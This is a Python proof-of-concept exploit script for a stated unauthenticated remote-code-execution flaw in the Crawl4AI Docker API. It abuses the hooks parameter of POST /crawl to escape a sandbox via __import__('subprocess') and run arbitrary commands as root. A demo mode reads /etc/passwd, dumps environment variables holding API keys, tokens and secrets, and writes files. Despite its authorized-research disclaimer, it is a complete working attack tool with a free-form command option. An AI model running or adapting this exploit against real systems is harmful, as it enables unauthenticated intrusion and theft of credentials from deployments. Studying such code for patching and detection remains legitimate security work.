#!/usr/bin/env python3 # --------------------------------------------------------------------------- # ARCHIVE COPY - CVE-2026-26216 (Crawl4AI unauthenticated RCE via hooks). # For authorized security research and education only. Run this against # systems you own or have explicit written permission to test. The author # and the archive take no responsibility for misuse. # --------------------------------------------------------------------------- """exploit.py — Unauthenticated RCE PoC for Crawl4AI Docker API. CVE-2026-26216 / GHSA-5882-5rx9-xgxp (CVSS 10.0) Abuses the `hooks` parameter of the POST /crawl endpoint. Hook code is executed via exec() inside a builtins sandbox that mistakenly keeps __import__. With __import__ available, we import `os`/`subprocess` and run arbitrary commands as root inside the container, with no authentication at all. Usage: python3 exploit.py --target http://localhost:11235 --cmd "id; hostname" python3 exploit.py --target http://localhost:11235 --demo For authorized security research / lab use only. Do not use against systems you do not have explicit permission to test. """ import argparse import json import sys import textwrap import urllib.request import urllib.error def build_hook_code(command: str) -> str: return textwrap.dedent( f""" async def hook(page, context, **kwargs): subprocess = __import__('subprocess') out = subprocess.run( {command!r}, shell=True, capture_output=True, text=True ) print("=== STDOUT ===") print(out.stdout) if out.stderr: print("=== STDERR ===") print(out.stderr) return page """ ).strip() def build_naive_blocked_code() -> str: return textwrap.dedent( """ async def hook(page, context, **kwargs): data = open('/etc/passwd').read() print(data) return page """ ).strip() def send_crawl(target: str, hook_event: str, hook_code: str, timeout: int = 30) -> dict: url = target.rstrip("/") + "/crawl" payload = { "urls": ["https://example.com"], "hooks": {"code": {hook_event: hook_code}}, } data = json.dumps(payload).encode() req = urllib.request.Request( url, data=data, headers={"Content-Type": "application/json"}, method="POST" ) try: with urllib.request.urlopen(req, timeout=timeout) as resp: return json.loads(resp.read().decode()) except urllib.error.HTTPError as e: return {"success": False, "http_error": e.code, "body": e.read().decode()} except urllib.error.URLError as e: print(f"[!] Connection to {url} failed: {e.reason}", file=sys.stderr) sys.exit(2) def run_command(target: str, command: str, hook_event: str = "on_page_context_created") -> str: resp = send_crawl(target, hook_event, build_hook_code(command)) if not resp.get("success"): return f"[hook did not register] {json.dumps(resp, indent=2, ensure_ascii=False)}" return resp.get("server_log", "").strip() def single(target: str, command: str, hook_event: str): print(f"[*] Target : {target}") print(f"[*] Event : {hook_event}") print(f"[*] Command : {command}") print("[*] Sending malicious hook payload via POST /crawl ...\n") out = run_command(target, command, hook_event) print(out if out else "[!] no output (command ran but produced no stdout)") def demo(target: str): line = "=" * 66 print(line) print(" Unauthenticated RCE PoC — CVE-2026-26216 (Crawl4AI hooks)") print(line) print(f"[*] Target: {target}\n") try: with urllib.request.urlopen(target.rstrip("/") + "/health", timeout=10) as r: print(f"[+] /health -> {r.status} {r.read().decode()}\n") except Exception as e: # noqa: BLE001 print(f"[!] target did not respond on /health: {e}") sys.exit(2) print("[1] NAIVE attempt: use open('/etc/passwd') directly") print(" (the sandbox removed open() -> should fail)") resp = send_crawl(target, "on_page_context_created", build_naive_blocked_code()) log = resp.get("server_log", "") if resp.get("success") else "" if "root:x:0:0" in log: print(" -> ??? unexpected: open() worked\n") else: err = resp.get("error", "") or log or "no output (blocked)" print(f" -> BLOCKED by the sandbox, as expected: {err.strip()[:120]}\n") print("[2] BYPASS via __import__('subprocess') — process identity") print(run_command(target, "id; whoami; hostname; uname -a")) print() print("[3] Read /etc/passwd (via shell, bypassing the blocked open())") print(run_command(target, "cat /etc/passwd | head -n 5")) print() print("[4] Exfiltrate environment variables (API keys, tokens)") print(run_command(target, "env | grep -Ei 'KEY|TOKEN|SECRET' || env")) print() print("[5] Write a file in the container (arbitrary write proof)") print(run_command( target, "echo 'pwned by CVE-2026-26216' > /tmp/PWNED && ls -l /tmp/PWNED && cat /tmp/PWNED", )) print() print(line) print(" Impact: arbitrary command execution as ROOT, unauthenticated.") print(" A single JSON on POST /crawl -> full RCE inside the container.") print(line) def main(): ap = argparse.ArgumentParser( description="Unauthenticated RCE exploit — CVE-2026-26216 (Crawl4AI hooks)" ) ap.add_argument("--target", default="http://localhost:11235", help="target base URL") ap.add_argument("--cmd", help="single command to run on the target") ap.add_argument( "--event", default="on_page_context_created", help="hook event to abuse (default: on_page_context_created)", ) ap.add_argument("--demo", action="store_true", help="run the full demonstration") args = ap.parse_args() if args.demo or not args.cmd: demo(args.target) else: single(args.target, args.cmd, args.event) if __name__ == "__main__": main()